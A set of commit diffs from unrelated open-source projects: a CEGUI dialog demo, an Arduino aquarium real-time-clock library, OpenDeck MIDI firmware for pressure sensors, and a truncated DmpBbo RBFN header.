CommonDialogsDemo : public Sample { public: virtual bool initialise(CEGUI::GUIContext* guiContext); void cleanupSample(void) {} }; //----------------------------------------------------------------------------// bool CommonDialogsDemo::initialise(CEGUI::GUIContext* guiContext) { using namespace CEGUI; // load font and setup default if not loaded via scheme Font& defaultFont = FontManager::getSingleton().createFromFile("DejaVuSans-12.font"); // Set default font for the gui context guiContext->setDefaultFont(&defaultFont); // load resources and set up system defaults SchemeManager::getSingleton().createFromFile("VanillaSkin.scheme"); SchemeManager::getSingleton().createFromFile("VanillaCommonDialogs.scheme"); guiContext->getMouseCursor().setDefaultImage("Vanilla-Images/MouseArrow"); // set up the root window / gui sheet WindowManager& winMgr = WindowManager::getSingleton(); Window* root = winMgr.createWindow("DefaultWindow", "Root"); guiContext->setRootWindow(root); // create container window for the demo FrameWindow* wnd = static_cast<FrameWindow*>( winMgr.createWindow("Vanilla/FrameWindow")); root->addChild(wnd); wnd->setPosition(UVector2(cegui_reldim(0.25f), cegui_reldim( 0.25f))); wnd->setSize(USize(cegui_reldim(0.5f), cegui_reldim( 0.5f))); wnd->setText("Common Dialogs Demo - Main Window"); // Add a colour picker & label Window* colourPickerLabel = winMgr.createWindow("Vanilla/StaticText"); wnd->addChild(colourPickerLabel); colourPickerLabel->setSize(USize(UDim(0, 110), UDim(0, 30))); colourPickerLabel->setProperty("FrameEnabled", "False"); colourPickerLabel->setProperty("BackgroundEnabled", "False"); colourPickerLabel->setText("Colour (click it!):"); Window* colourPicker = winMgr.createWindow("Vanilla/ColourPicker"); wnd->addChild(colourPicker); colourPicker->setPosition(UVector2(UDim(0,110), UDim(0, 0))); colourPicker->setSize(USize(UDim(0, 100), UDim(0, 30))); return true; } //----------------------------------------------------------------------------// <commit_msg>MOD: Fixed the common dialogue demo to suit the sample interface<commit_after>/*********************************************************************** filename: CommonDialogsDemo.cpp created: Sun Oct 23 2011 author: Paul D Turner <paul@cegui.org.uk> *************************************************************************/ /*************************************************************************** * Copyright (C) 2004 - 2011 Paul D Turner & The CEGUI Development Team * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. ***************************************************************************/ #include "SampleBase.h" #include "CEGUI/CEGUI.h" //----------------------------------------------------------------------------// class CommonDialogsDemo : public Sample { public: virtual bool initialise(CEGUI::GUIContext* guiContext); void deinitialise(void) {} }; //----------------------------------------------------------------------------// bool CommonDialogsDemo::initialise(CEGUI::GUIContext* guiContext) { using namespace CEGUI; d_usedFiles = CEGUI::String(__FILE__); // load font and setup default if not loaded via scheme Font& defaultFont = FontManager::getSingleton().createFromFile("DejaVuSans-12.font"); // Set default font for the gui context guiContext->setDefaultFont(&defaultFont); // load resources and set up system defaults SchemeManager::getSingleton().createFromFile("VanillaSkin.scheme"); SchemeManager::getSingleton().createFromFile("VanillaCommonDialogs.scheme"); guiContext->getMouseCursor().setDefaultImage("Vanilla-Images/MouseArrow"); // set up the root window / gui sheet WindowManager& winMgr = WindowManager::getSingleton(); Window* root = winMgr.createWindow("DefaultWindow", "Root"); guiContext->setRootWindow(root); // create container window for the demo FrameWindow* wnd = static_cast<FrameWindow*>( winMgr.createWindow("Vanilla/FrameWindow")); root->addChild(wnd); wnd->setAlwaysOnTop(true); wnd->setPosition(UVector2(cegui_reldim(0.25f), cegui_reldim( 0.25f))); wnd->setSize(USize(cegui_reldim(0.5f), cegui_reldim( 0.5f))); wnd->setText("Common Dialogs Demo - Main Window"); wnd->setCloseButtonEnabled(false); // Add a colour picker & label Window* colourPickerLabel = winMgr.createWindow("Vanilla/Label"); wnd->addChild(colourPickerLabel); colourPickerLabel->setSize(USize(UDim(0, 170), UDim(0, 30))); colourPickerLabel->setText("Colour (click it!):"); Window* colourPicker = winMgr.createWindow("Vanilla/ColourPicker"); wnd->addChild(colourPicker); colourPicker->setPosition(UVector2(UDim(0,170), UDim(0, 0))); colourPicker->setSize(USize(UDim(0, 100), UDim(0, 30))); return true; } //----------------------------------------------------------------------------// /************************************************************************* Define the module function that returns an instance of the sample *************************************************************************/ extern "C" SAMPLE_EXPORT Sample& getSampleInstance() { static CommonDialogsDemo sample; return sample; } <|endoftext|>
<commit_before>/* Project: Aquarium Controller Library: Time Version: 1.0 Author: Rastislav Birka */ #include <avr/eeprom.h> #include <Arduino.h> #include "AQUA_time.h" /* Public Functions */ void AQUA_time::init(uint8_t dataPin, uint8_t clockPin, uint8_t dsType, bool useDST, uint8_t timeZone) { _dataPin = dataPin; _clockPin = clockPin; _dsType = dsType; _useDST = useDST; _timeZone = timeZone; pinMode(_clockPin, OUTPUT); start(); } void AQUA_time::setOutput(bool enable) { uint8_t value, addr, bit; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; bit = 2; break; case DS_TYPE_1307: default: addr = TIME_ADDR_CONTROL_1307; bit = 7; } value = _readRegister(addr); if((value & (1 << bit)) != enable) { value &= ~(1 << bit); value |= (enable << bit); _writeRegister(addr, value); } } void AQUA_time::enableSQW(bool enable) { uint8_t value, addr, bit; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; bit = 6; break; case DS_TYPE_1307: default: addr = TIME_ADDR_CONTROL_1307; bit = 4; } value = _readRegister(addr); if((value & (1 << bit)) != enable) { value &= ~(1 << bit); value |= (enable << bit); _writeRegister(addr, value); } } void AQUA_time::setSQWRate(int rate) { uint8_t value, addr, rs; if(rate > 3) { rate = 3; } switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; rs = 24; //00011000 rate <<= 3; break; case DS_TYPE_1307: default: addr = TIME_ADDR_CONTROL_1307; rs = 3; } value = _readRegister(addr); value &= ~(rs); value |= (rate); _writeRegister(addr, value); } void AQUA_time::start() { uint8_t value, addr; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; break; case DS_TYPE_1307: default: addr = TIME_ADDR_SEC; } value = _readRegister(addr); if((value & 128) != 0) { value &= ~(1 << 7); value |= (0 << 7); _writeRegister(addr, value); } } void AQUA_time::stop() { uint8_t value, addr; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; break; case DS_TYPE_1307: default: addr = TIME_ADDR_SEC; } value = _readRegister(addr); if((value & 128) != 1) { value &= ~(1 << 7); value |= (1 << 7); _writeRegister(addr, value); } } void AQUA_time::setDate(uint8_t day, uint8_t mon, uint16_t year) { if(day > 0 && day < 32 && mon > 0 && mon < 13 && year > 1999 && year < 2100) { _writeRegister(TIME_ADDR_YEAR, _encode(year-2000)); _writeRegister(TIME_ADDR_MON, _encode(mon)); _writeRegister(TIME_ADDR_DAY, _encode(day)); _writeRegister(TIME_ADDR_WDAY, _calculateWday(day, mon, year)); } } void AQUA_time::setTime(uint8_t hour, uint8_t min, uint8_t sec) { if(hour >= 0 && hour < 24 && min >= 0 && min < 60 && sec >= 0 && sec < 60) { if (_isDST && hour > 0) { hour--; } _writeRegister(TIME_ADDR_HOUR, _encode(hour)); _writeRegister(TIME_ADDR_MIN, _encode(min)); _writeRegister(TIME_ADDR_SEC, _encode(sec)); } } void AQUA_time::setDST(bool useDST) { _useDST = useDST; } void AQUA_time::setTimeZone(int timeZone) { _timeZone = timeZone; } AQUA_datetime AQUA_time::getDateTime() { AQUA_datetime datetimeStruct; static uint8_t daysInMonths[12] = {31,28,31,30,31,30,31,31,30,31,30,31}; _readDateTime(); datetimeStruct.sec = _decode(_regDateTime[0]); datetimeStruct.min = _decode(_regDateTime[1]); datetimeStruct.hour = _decode(_regDateTime[2]); datetimeStruct.wday = _regDateTime[3]; datetimeStruct.day = _decode(_regDateTime[4]); datetimeStruct.mon = _decode(_regDateTime[5]); datetimeStruct.year = _decode(_regDateTime[6]) + 2000; _isDST = false; if(_useDST) { //DST start in last sunday in march about 01:00 GMT and end in last sunday in october about 01:00 GMT //sunday = 7th day in week according to ISO 8601 if(datetimeStruct.mon > 3 && datetimeStruct.mon < 10) { _isDST = true; } else if(datetimeStruct.mon == 3 && datetimeStruct.day > 24) { if(datetimeStruct.wday == 7) { if((datetimeStruct.hour - _timeZone) > 0) { _isDST = true; } } else if((31 - datetimeStruct.day + datetimeStruct.wday) <= 7) { _isDST = true; } } else if(datetimeStruct.mon == 10 && datetimeStruct.day < 25) { _isDST = true; } else if(datetimeStruct.mon == 10) { if(datetimeStruct.wday == 7) { if((datetimeStruct.hour - _timeZone) < 1) { _isDST = true; } } else if((31 - datetimeStruct.day + datetimeStruct.wday) >= 7) { _isDST = true; } } if(_isDST) { datetimeStruct.hour++; } if(datetimeStruct.mon >= 3 && datetimeStruct.mon <= 10 && datetimeStruct.hour >= 24) { datetimeStruct.hour-= 24; datetimeStruct.day++; if(datetimeStruct.day > daysInMonths[datetimeStruct.mon-1]) { datetimeStruct.day = 1; datetimeStruct.mon++; } datetimeStruct.wday++; if(datetimeStruct.wday > 7) { datetimeStruct.wday = 1; } } } return datetimeStruct; } /* Private Functions */ uint8_t AQUA_time::_calculateWday(uint8_t day, uint8_t mon, uint16_t year) { static uint8_t monValues[12] = {0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4}; uint8_t wDay = 0; if (mon < 3) { year--; } wDay = (year + year/4 - year/100 + year/400 + monValues[mon-1] + day) % 7; if (wDay == 0) { //Sunday = 0, Monday = 1, ... wDay = 7; //sunday = 7th day in week according to ISO 8601 } return wDay; } void AQUA_time::_sendStart(uint8_t addr) { pinMode(_dataPin, OUTPUT); digitalWrite(_dataPin, HIGH); digitalWrite(_clockPin, HIGH); digitalWrite(_dataPin, LOW); digitalWrite(_clockPin, LOW); shiftOut(_dataPin, _clockPin, MSBFIRST, addr); } void AQUA_time::_sendStop() { pinMode(_dataPin, OUTPUT); digitalWrite(_dataPin, LOW); digitalWrite(_clockPin, HIGH); digitalWrite(_dataPin, HIGH); pinMode(_dataPin, INPUT); } void AQUA_time::_sendAck() { pinMode(_dataPin, OUTPUT); digitalWrite(_clockPin, LOW); digitalWrite(_dataPin, LOW); digitalWrite(_clockPin, HIGH); digitalWrite(_clockPin, LOW); pinMode(_dataPin, INPUT); } void AQUA_time::_sendNack() { pinMode(_dataPin, OUTPUT); digitalWrite(_clockPin, LOW); digitalWrite(_dataPin, HIGH); digitalWrite(_clockPin, HIGH); digitalWrite(_clockPin, LOW); pinMode(_dataPin, INPUT); } void AQUA_time::_waitForAck() { pinMode(_dataPin, INPUT); digitalWrite(_clockPin, HIGH); while(_dataPin == LOW) { } digitalWrite(_clockPin, LOW); } uint8_t AQUA_time::_readByte() { uint8_t value = 0; uint8_t currentBit; pinMode(_dataPin, INPUT); for(int i = 0; i < 8; ++i) { digitalWrite(_clockPin, HIGH); currentBit = digitalRead(_dataPin); value |= (currentBit << 7-i); delayMicroseconds(10); digitalWrite(_clockPin, LOW); } return value; } void AQUA_time::_writeByte(uint8_t value) { pinMode(_dataPin, OUTPUT); shiftOut(_dataPin, _clockPin, MSBFIRST, value); } uint8_t AQUA_time::_readRegister(uint8_t reg) { uint8_t value; _sendStart(TIME_ADDR_WRITE); _waitForAck(); _writeByte(reg); _waitForAck(); _sendStop(); _sendStart(TIME_ADDR_READ); _waitForAck(); value = _readByte(); _sendNack(); _sendStop(); return value; } void AQUA_time::_writeRegister(uint8_t reg, uint8_t value) { _sendStart(TIME_ADDR_WRITE); _waitForAck(); _writeByte(reg); _waitForAck(); _writeByte(value); _waitForAck(); _sendStop(); } void AQUA_time::_readDateTime() { _sendStart(TIME_ADDR_WRITE); _waitForAck(); _writeByte(0); _waitForAck(); _sendStop(); _sendStart(TIME_ADDR_READ); _waitForAck(); for(int i = 0; i < 8; i++) { _regDateTime[i] = _readByte(); if(i < 7) { _sendAck(); } else { _sendNack(); } } _sendStop(); } uint8_t AQUA_time::_decode(uint8_t value) { uint8_t decoded = (value & 15) + 10 * ((value & (15 << 4)) >> 4); return decoded; } uint8_t AQUA_time::_encode(uint8_t value) { uint8_t encoded = ((value / 10) << 4) + (value % 10); return encoded; } <commit_msg>little adjustments in time library<commit_after>/* Project: Aquarium Controller Library: Time Version: 1.0 Author: Rastislav Birka */ #include <avr/eeprom.h> #include <Arduino.h> #include "AQUA_time.h" /* Public Functions */ void AQUA_time::init(uint8_t dataPin, uint8_t clockPin, uint8_t dsType, bool useDST, uint8_t timeZone) { _dataPin = dataPin; _clockPin = clockPin; _dsType = dsType; _useDST = useDST; _timeZone = timeZone; pinMode(_clockPin, OUTPUT); start(); } void AQUA_time::setOutput(bool enable) { uint8_t value, addr, bit; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; bit = 2; break; case DS_TYPE_1307: default: addr = TIME_ADDR_CONTROL_1307; bit = 7; } value = _readRegister(addr); if((value & (1 << bit)) != enable) { value &= ~(1 << bit); value |= (enable << bit); _writeRegister(addr, value); } } void AQUA_time::enableSQW(bool enable) { uint8_t value, addr, bit; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; bit = 6; break; case DS_TYPE_1307: default: addr = TIME_ADDR_CONTROL_1307; bit = 4; } value = _readRegister(addr); if((value & (1 << bit)) != enable) { value &= ~(1 << bit); value |= (enable << bit); _writeRegister(addr, value); } } void AQUA_time::setSQWRate(int rate) { uint8_t value, addr, rs; if(rate > 3) { rate = 3; } switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; rs = 24; //00011000 rate <<= 3; break; case DS_TYPE_1307: default: addr = TIME_ADDR_CONTROL_1307; rs = 3; } value = _readRegister(addr); value &= ~(rs); value |= (rate); _writeRegister(addr, value); } void AQUA_time::start() { uint8_t value, addr; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; break; case DS_TYPE_1307: default: addr = TIME_ADDR_SEC; } value = _readRegister(addr); if((value & 128) != 0) { value &= ~(1 << 7); value |= (0 << 7); _writeRegister(addr, value); } } void AQUA_time::stop() { uint8_t value, addr; switch(_dsType) { case DS_TYPE_3231: addr = TIME_ADDR_CONTROL_3231; break; case DS_TYPE_1307: default: addr = TIME_ADDR_SEC; } value = _readRegister(addr); if((value & 128) != 1) { value &= ~(1 << 7); value |= (1 << 7); _writeRegister(addr, value); } } void AQUA_time::setDate(uint8_t day, uint8_t mon, uint16_t year) { if(day > 0 && day < 32 && mon > 0 && mon < 13 && year > 1999 && year < 2100) { _writeRegister(TIME_ADDR_YEAR, _encode(year-2000)); _writeRegister(TIME_ADDR_MON, _encode(mon)); _writeRegister(TIME_ADDR_DAY, _encode(day)); _writeRegister(TIME_ADDR_WDAY, _calculateWday(day, mon, year)); } } void AQUA_time::setTime(uint8_t hour, uint8_t min, uint8_t sec) { if(hour >= 0 && hour < 24 && min >= 0 && min < 60 && sec >= 0 && sec < 60) { if (_isDST && hour > 0) { hour--; } _writeRegister(TIME_ADDR_HOUR, _encode(hour)); _writeRegister(TIME_ADDR_MIN, _encode(min)); _writeRegister(TIME_ADDR_SEC, _encode(sec)); } } void AQUA_time::setDST(bool useDST) { _useDST = useDST; } void AQUA_time::setTimeZone(int timeZone) { _timeZone = timeZone; } AQUA_datetime AQUA_time::getDateTime() { AQUA_datetime datetimeStruct; static uint8_t daysInMonths[12] = {31,28,31,30,31,30,31,31,30,31,30,31}; _readDateTime(); datetimeStruct.sec = _decode(_regDateTime[0]); datetimeStruct.min = _decode(_regDateTime[1]); datetimeStruct.hour = _decode(_regDateTime[2]); datetimeStruct.wday = _regDateTime[3]; datetimeStruct.day = _decode(_regDateTime[4]); datetimeStruct.mon = _decode(_regDateTime[5]); datetimeStruct.year = _decode(_regDateTime[6]) + 2000; if(datetimeStruct.sec < 0 || datetimeStruct.sec > 60) { datetimeStruct.sec = 0; } if(datetimeStruct.min < 0 || datetimeStruct.min > 60) { datetimeStruct.min = 0; } if(datetimeStruct.hour < 0 || datetimeStruct.hour > 24) { datetimeStruct.hour = 0; } if(datetimeStruct.wday < 1 || datetimeStruct.wday > 7) { datetimeStruct.wday = 1; } if(datetimeStruct.day < 1 || datetimeStruct.day > 31) { datetimeStruct.day = 1; } if(datetimeStruct.mon < 1 || datetimeStruct.mon > 12) { datetimeStruct.mon = 1; } if(datetimeStruct.year < 2000 || datetimeStruct.year > 2099) { datetimeStruct.year = 2000; } _isDST = false; if(_useDST) { //DST start in last sunday in march about 01:00 GMT and end in last sunday in october about 01:00 GMT //sunday = 7th day in week according to ISO 8601 if(datetimeStruct.mon > 3 && datetimeStruct.mon < 10) { _isDST = true; } else if(datetimeStruct.mon == 3 && datetimeStruct.day > 24) { if(datetimeStruct.wday == 7) { if((datetimeStruct.hour - _timeZone) > 0) { _isDST = true; } } else if((31 - datetimeStruct.day + datetimeStruct.wday) <= 7) { _isDST = true; } } else if(datetimeStruct.mon == 10 && datetimeStruct.day < 25) { _isDST = true; } else if(datetimeStruct.mon == 10) { if(datetimeStruct.wday == 7) { if((datetimeStruct.hour - _timeZone) < 1) { _isDST = true; } } else if((31 - datetimeStruct.day + datetimeStruct.wday) >= 7) { _isDST = true; } } if(_isDST) { datetimeStruct.hour++; } if(datetimeStruct.mon >= 3 && datetimeStruct.mon <= 10 && datetimeStruct.hour >= 24) { datetimeStruct.hour-= 24; datetimeStruct.day++; if(datetimeStruct.day > daysInMonths[datetimeStruct.mon-1]) { datetimeStruct.day = 1; datetimeStruct.mon++; } datetimeStruct.wday++; if(datetimeStruct.wday > 7) { datetimeStruct.wday = 1; } } } return datetimeStruct; } /* Private Functions */ uint8_t AQUA_time::_calculateWday(uint8_t day, uint8_t mon, uint16_t year) { static uint8_t monValues[12] = {0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4}; uint8_t wDay = 0; if (mon < 3) { year--; } wDay = (year + year/4 - year/100 + year/400 + monValues[mon-1] + day) % 7; if (wDay == 0) { //Sunday = 0, Monday = 1, ... wDay = 7; //sunday = 7th day in week according to ISO 8601 } return wDay; } void AQUA_time::_sendStart(uint8_t addr) { pinMode(_dataPin, OUTPUT); digitalWrite(_dataPin, HIGH); digitalWrite(_clockPin, HIGH); digitalWrite(_dataPin, LOW); digitalWrite(_clockPin, LOW); shiftOut(_dataPin, _clockPin, MSBFIRST, addr); } void AQUA_time::_sendStop() { pinMode(_dataPin, OUTPUT); digitalWrite(_dataPin, LOW); digitalWrite(_clockPin, HIGH); digitalWrite(_dataPin, HIGH); pinMode(_dataPin, INPUT); } void AQUA_time::_sendAck() { pinMode(_dataPin, OUTPUT); digitalWrite(_clockPin, LOW); digitalWrite(_dataPin, LOW); digitalWrite(_clockPin, HIGH); digitalWrite(_clockPin, LOW); pinMode(_dataPin, INPUT); } void AQUA_time::_sendNack() { pinMode(_dataPin, OUTPUT); digitalWrite(_clockPin, LOW); digitalWrite(_dataPin, HIGH); digitalWrite(_clockPin, HIGH); digitalWrite(_clockPin, LOW); pinMode(_dataPin, INPUT); } void AQUA_time::_waitForAck() { pinMode(_dataPin, INPUT); digitalWrite(_clockPin, HIGH); while(_dataPin == LOW) { } digitalWrite(_clockPin, LOW); } uint8_t AQUA_time::_readByte() { uint8_t value = 0; uint8_t currentBit; pinMode(_dataPin, INPUT); for(int i = 0; i < 8; ++i) { digitalWrite(_clockPin, HIGH); currentBit = digitalRead(_dataPin); value |= (currentBit << 7-i); delayMicroseconds(10); digitalWrite(_clockPin, LOW); } return value; } void AQUA_time::_writeByte(uint8_t value) { pinMode(_dataPin, OUTPUT); shiftOut(_dataPin, _clockPin, MSBFIRST, value); } uint8_t AQUA_time::_readRegister(uint8_t reg) { uint8_t value; _sendStart(TIME_ADDR_WRITE); _waitForAck(); _writeByte(reg); _waitForAck(); _sendStop(); _sendStart(TIME_ADDR_READ); _waitForAck(); value = _readByte(); _sendNack(); _sendStop(); return value; } void AQUA_time::_writeRegister(uint8_t reg, uint8_t value) { _sendStart(TIME_ADDR_WRITE); _waitForAck(); _writeByte(reg); _waitForAck(); _writeByte(value); _waitForAck(); _sendStop(); } void AQUA_time::_readDateTime() { _sendStart(TIME_ADDR_WRITE); _waitForAck(); _writeByte(0); _waitForAck(); _sendStop(); _sendStart(TIME_ADDR_READ); _waitForAck(); for(int i = 0; i < 8; i++) { _regDateTime[i] = _readByte(); if(i < 7) { _sendAck(); } else { _sendNack(); } } _sendStop(); } uint8_t AQUA_time::_decode(uint8_t value) { uint8_t decoded = (value & 15) + 10 * ((value & (15 << 4)) >> 4); return decoded; } uint8_t AQUA_time::_encode(uint8_t value) { uint8_t encoded = ((value / 10) << 4) + (value % 10); return encoded; } <|endoftext|>
<commit_before>/* OpenDeck MIDI platform firmware Copyright (C) 2015-2017 Igor Petrovic This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "Analog.h" #include "../leds/LEDs.h" #include "../../OpenDeck.h" //use 1k resistor when connecting FSR between signal and ground inline int16_t mapAnalog_int16(int16_t x, int16_t in_min, int16_t in_max, int16_t out_min, int16_t out_max) { return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min; }; inline int16_t calibratePressure(int16_t value, pressureType_t type) { switch(type) { case velocity: return mapAnalog_int16(constrain(value, FSR_MIN_VALUE, FSR_MAX_VALUE), FSR_MIN_VALUE, FSR_MAX_VALUE, 0, 127); case aftertouch: return mapAnalog_int16(constrain(value, FSR_MIN_VALUE, AFTERTOUCH_MAX_VALUE), FSR_MIN_VALUE, AFTERTOUCH_MAX_VALUE, 0, 127); default: return 0; } } bool Analog::getFsrPressed(uint8_t fsrID) { uint8_t arrayIndex = fsrID/8; uint8_t fsrIndex = fsrID - 8*arrayIndex; return bitRead(fsrPressed[arrayIndex], fsrIndex); } void Analog::setFsrPressed(uint8_t fsrID, bool state) { uint8_t arrayIndex = fsrID/8; uint8_t fsrIndex = fsrID - 8*arrayIndex; bitWrite(fsrPressed[arrayIndex], fsrIndex, state); } void Analog::checkFSRvalue(uint8_t analogID, uint16_t pressure) { uint8_t calibratedPressure = calibratePressure(pressure, velocity); lastAnalogueValue[analogID] += calibratedPressure; calibratedPressure = lastAnalogueValue[analogID]; lastAnalogueValue[analogID] = 0; bool pressDetected = (calibratedPressure > 0); switch (pressDetected) { case true: if (!getFsrPressed(analogID)) { //sensor is really pressed setFsrPressed(analogID, true); uint8_t note = database.read(CONF_BLOCK_ANALOG, analogMIDIidSection, analogID); midi.sendNoteOn(note, calibratedPressure, database.read(CONF_BLOCK_MIDI, midiChannelSection, noteChannel)); leds.noteToState(note, calibratedPressure, true); if (sysEx.configurationEnabled()) { if ((rTimeMs() - getLastCinfoMsgTime(CONF_BLOCK_BUTTON)) > COMPONENT_INFO_TIMEOUT) { sysEx.startResponse(); sysEx.addToResponse(COMPONENT_ID_STRING); sysEx.addToResponse(CONF_BLOCK_BUTTON); sysEx.addToResponse(analogID); sysEx.sendResponse(); updateCinfoTime(CONF_BLOCK_BUTTON); } } } break; case false: if (getFsrPressed(analogID)) { setFsrPressed(analogID, false); uint8_t note = database.read(CONF_BLOCK_ANALOG, analogMIDIidSection, analogID); midi.sendNoteOff(note, velocityOff, database.read(CONF_BLOCK_MIDI, midiChannelSection, noteChannel)); leds.noteToState(note, velocityOff, true); if (sysEx.configurationEnabled()) { if ((rTimeMs() - getLastCinfoMsgTime(CONF_BLOCK_BUTTON)) > COMPONENT_INFO_TIMEOUT) { sysEx.startResponse(); sysEx.addToResponse(COMPONENT_ID_STRING); sysEx.addToResponse(CONF_BLOCK_BUTTON); sysEx.addToResponse(analogID); sysEx.sendResponse(); updateCinfoTime(CONF_BLOCK_BUTTON); } } } break; } } <commit_msg>fsr fixes<commit_after>/* OpenDeck MIDI platform firmware Copyright (C) 2015-2017 Igor Petrovic This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "Analog.h" #include "../leds/LEDs.h" #include "../../OpenDeck.h" //use 1k resistor when connecting FSR between signal and ground inline int16_t mapAnalog_int16(int16_t x, int16_t in_min, int16_t in_max, int16_t out_min, int16_t out_max) { return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min; }; inline int16_t calibratePressure(int16_t value, pressureType_t type) { switch(type) { case velocity: return mapAnalog_int16(constrain(value, FSR_MIN_VALUE, FSR_MAX_VALUE), FSR_MIN_VALUE, FSR_MAX_VALUE, 0, 127); case aftertouch: return mapAnalog_int16(constrain(value, FSR_MIN_VALUE, AFTERTOUCH_MAX_VALUE), FSR_MIN_VALUE, AFTERTOUCH_MAX_VALUE, 0, 127); default: return 0; } } bool Analog::getFsrPressed(uint8_t fsrID) { uint8_t arrayIndex = fsrID/8; uint8_t fsrIndex = fsrID - 8*arrayIndex; return bitRead(fsrPressed[arrayIndex], fsrIndex); } void Analog::setFsrPressed(uint8_t fsrID, bool state) { uint8_t arrayIndex = fsrID/8; uint8_t fsrIndex = fsrID - 8*arrayIndex; bitWrite(fsrPressed[arrayIndex], fsrIndex, state); } void Analog::checkFSRvalue(uint8_t analogID, uint16_t pressure) { uint8_t calibratedPressure = calibratePressure(pressure, velocity); bool pressDetected = (calibratedPressure > 0); switch (pressDetected) { case true: if (!getFsrPressed(analogID)) { //sensor is really pressed setFsrPressed(analogID, true); uint8_t note = database.read(CONF_BLOCK_ANALOG, analogMIDIidSection, analogID); midi.sendNoteOn(note, calibratedPressure, database.read(CONF_BLOCK_MIDI, midiChannelSection, noteChannel)); leds.noteToState(note, calibratedPressure, true); if (sysEx.configurationEnabled()) { if ((rTimeMs() - getLastCinfoMsgTime(CONF_BLOCK_BUTTON)) > COMPONENT_INFO_TIMEOUT) { sysEx.startResponse(); sysEx.addToResponse(COMPONENT_ID_STRING); sysEx.addToResponse(CONF_BLOCK_BUTTON); sysEx.addToResponse(analogID); sysEx.sendResponse(); updateCinfoTime(CONF_BLOCK_BUTTON); } } } break; case false: if (getFsrPressed(analogID)) { setFsrPressed(analogID, false); uint8_t note = database.read(CONF_BLOCK_ANALOG, analogMIDIidSection, analogID); midi.sendNoteOff(note, velocityOff, database.read(CONF_BLOCK_MIDI, midiChannelSection, noteChannel)); leds.noteToState(note, velocityOff, true); if (sysEx.configurationEnabled()) { if ((rTimeMs() - getLastCinfoMsgTime(CONF_BLOCK_BUTTON)) > COMPONENT_INFO_TIMEOUT) { sysEx.startResponse(); sysEx.addToResponse(COMPONENT_ID_STRING); sysEx.addToResponse(CONF_BLOCK_BUTTON); sysEx.addToResponse(analogID); sysEx.sendResponse(); updateCinfoTime(CONF_BLOCK_BUTTON); } } } break; } } <|endoftext|>
<commit_before>/** * @file ModelParametersRBFN.hpp * @brief ModelParametersRBFN class header file. * @author Freek Stulp * * This file is part of DmpBbo, a set of libraries and programs for the * black-box optimization of dynamical movement primitives. * Copyright (C) 2014 Freek Stulp, ENSTA-ParisTech * * DmpBbo is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * DmpBbo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with DmpBbo. If not, see <http://www.gnu.org/licenses/>. */ #ifndef MODELPARAMETERSRBFN_H #define MODELPARAMETERSRBFN_H #include "functionapproximators/ModelParameters.hpp" #include <iosfwd> #include <vector> #include <eigen3/Eigen/Core> namespace DmpBbo { // Forward declaration class UnifiedModel; /** \brief Model parameters for the Radial Basis Function Network (RBFN) function approximator * \ingroup FunctionApproximators * \ingroup RBFN */ class ModelParametersRBFN : public ModelParameters { friend class FunctionApproximatorRBFN; public: /** Constructor for the model parameters of the LWPR function approximator. * \param[in] centers Centers of the basis functions * \param[in] widths Widths of the basis functions. * \param[in] weights Weight of each basis function */ ModelParametersRBFN(const Eigen::MatrixXd& centers, const Eigen::MatrixXd& widths, const Eigen::MatrixXd& weights); std::string toString(void) const; ModelParameters* clone(void) const; int getExpectedInputDim(void) const { return centers_.cols(); }; /** Get the kernel activations for given inputs * \param[in] inputs The input data (size: n_samples X n_dims) * \param[out] kernel_activations The kernel activations, computed for each of the samples in the input data (size: n_samples X n_basis_functions) */ void kernelActivations(const Eigen::Ref<const Eigen::MatrixXd>& inputs, Eigen::MatrixXd& kernel_activations) const; void setParameterVectorModifierPrivate(std::string modifier, bool new_value); void 